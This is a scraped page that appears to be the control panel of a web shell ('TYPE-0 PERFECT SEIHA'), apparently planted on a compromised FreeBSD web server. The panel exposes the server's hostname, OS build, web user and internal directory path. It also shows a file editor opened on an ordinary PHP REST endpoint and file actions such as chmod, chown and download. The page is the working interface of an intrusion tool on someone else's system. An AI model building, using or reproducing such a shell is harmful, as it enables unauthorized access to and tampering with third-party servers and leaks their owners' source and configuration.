TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
1
root
app
Rest
Activity
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/1/root/app/Rest/Activity/AddActivity.php
<?php /** * Copyright (c) Jan Pospisil (http://www.jan-pospisil.cz) */ namespace Rest\Activity; use Model\Activity\Activity; use Nette\Database\Context; use Nette\Database\IRow; use Nette\Database\Table\ActiveRow; use RestServer\Exceptions\BadRequestException; use RestServer\Exceptions\MissingRequiredParameterException; use RestServer\IParametrs; use RestServer\IPresenter; use RestServer\Response; use Tracy\Debugger; /** * Add new activity * @param ( * required = 1, * name = message, * type = string * ) * @param ( * required = 1, * name = activity_type, * type = string * ) * @param ( * required = 1, * name = api_key, * type = string * ) * @author Jan Pospisil */ class AddActivity extends \Nette\Object implements IPresenter { private $connection; private $apiKeys; public function __construct(Context $context) { $this->connection = $context; } public function setApiKeys(array $keys) { $this->apiKeys = $keys; } public function run(IParametrs $parameters, Response $response) { $apiKey = $parameters->get('api_key'); $message = $parameters->post('message'); $type = $parameters->post('type'); if(!$apiKey) throw new MissingRequiredParameterException('Parameter api_key is required.'); if(!$message) throw new MissingRequiredParameterException('Parameter message is required.'); if(!$type) throw new MissingRequiredParameterException('Parameter type is required.'); if(!in_array($apiKey, $this->apiKeys)) throw new BadRequestException('Invalid api_key parameter.'); try{ $row = $this->connection->table('activity')->insert(array ( 'message' => $message, 'activity_type' => $type, 'key' => $parameters->post('key') ? $parameters->post('key') : NULL )); if(!$row instanceof ActiveRow) $row = $this->connection->table('activity')->get($this->connection->getInsertId()); } catch(\PDOException $e){ $row = $this->connection->table('activity')->where('key', $parameters->post('key'))->fetch(); } $data = Activity::getActivity($row); $response->data = $data; $response->setStatusCode(201); } public static function getReturnExample(){ return Activity::getExampleActivity(); } }
Crotin
Name
Size
Permissions
Modified
User/Group
GetActivity.php
1664
0644
2016-02-22 19:01:21
Unknown/Unknown
AddActivity.php
2236
0644
2016-06-16 11:51:47
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin